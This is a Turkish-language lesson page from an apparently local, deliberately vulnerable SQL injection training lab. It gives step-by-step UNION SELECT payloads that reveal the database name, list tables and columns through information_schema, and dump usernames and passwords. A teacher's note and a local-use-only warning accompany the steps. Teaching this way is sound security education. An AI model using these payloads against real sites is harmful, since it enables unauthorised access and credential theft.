Ana Sayfa
Güvensiz Giriş
Güvensiz Arama
Ders Notları
Veritabanı
Güvenli Versiyon
🔍 Modül 2: SQL Injection ile Veritabanı Keşfi
Gerçek bir saldırgan veritabanı yapısını bilmez. Adım adım keşfetmesi gerekir.
Bu modülde UNION SELECT ve information_schema kullanacağız.
Tüm denemeleri search.php arama kutusunda yapın.
← Geri dön
⚙️ UNION Nedir?
UNION, iki SELECT sorgusunun sonuçlarını birleştirir:
SELECT id, ad, fiyat, kategori FROM urunler WHERE ad LIKE '%mouse%'
UNION
SELECT id, kullanici_adi, sifre, rol FROM kullanicilar
⚠️ UNION için her iki sorguda da aynı sayıda sütun olmalı (burada 4).
💡 Arama sayfasında sorgu LIKE '%...%' ile bittiği için yorum olarak
# kullanın (-- bu yapıda çalışmaz).
Adım 1: Veritabanı Adını Öğren
MySQL'de database() fonksiyonu aktif veritabanının adını verir.
' UNION SELECT 1, database(), version(), user() #
Sonuç tablosunda göreceksiniz:
Ürün Adı sütunu → veritabanı adı (sql_injection_lab)
Fiyat sütunu → MySQL sürümü
Kategori sütunu → veritabanı kullanıcısı
Bu payload'ı dene →
Adım 2: Tabloları Listele
MySQL'de tüm tablo bilgileri information_schema.tables
adlı özel bir tabloda saklanır.
' UNION SELECT 1, table_name, table_rows, table_schema FROM information_schema.tables WHERE table_schema=database() #
Sonuçta kullanicilar ve urunler tablolarını görmelisiniz.
Tabloları listele →
Adım 3: Bir Tablonun Alanlarını (Sütunlarını) Bul
Sütun bilgileri information_schema.columns tablosundadır.
Önce kullanicilar tablosunun yapısını keşfedelim:
' UNION SELECT ordinal_position, column_name, data_type, column_key FROM information_schema.columns WHERE table_name='kullanicilar' AND table_schema=database() #
Beklenen alanlar: id, kullanici_adi, sifre, rol, gizli_not
kullanicilar alanlarını bul →
Adım 4: urunler Tablosunun Alanlarını Bul
' UNION SELECT ordinal_position, column_name, data_type, '' FROM information_schema.columns WHERE table_name='urunler' AND table_schema=database() #
Beklenen alanlar: id, ad, fiyat, kategori
urunler alanlarını bul →
Adım 5: Keşiften Sonra Veri Çek
Artık tablo ve alan adlarını biliyorsun. Hassas veriyi çek:
' UNION SELECT id, kullanici_adi, sifre, rol FROM kullanicilar #
Tebrikler! Admin şifresini tabloda görebilirsin.
Şifreleri çek →
📝 Öğretmen Notu: Keşif Sırası
Öğrencilere "Sitede hangi tablolar var?" diye sorun — tahmin ettirin
UNION kavramını tahtada iki tablo çizerek anlatın
Adım 1'den başlayıp sırayla ilerleyin; her adımda sonuç tablosunu yorumlayın
information_schema'yı "veritabanının katalog defteri" olarak açıklayın
Son adımda Canlı Şema ile karşılaştırın
Malatya DENEYAP — Siber Güvenlik Eğitimi
Hazırlayan: Hakan TOPTAŞ
⚠️ Sadece eğitim amaçlıdır — Yerel ağda kullanın, internete açmayın!
Malatya DENEYAP SQL Injection Laboratuvarı © 2026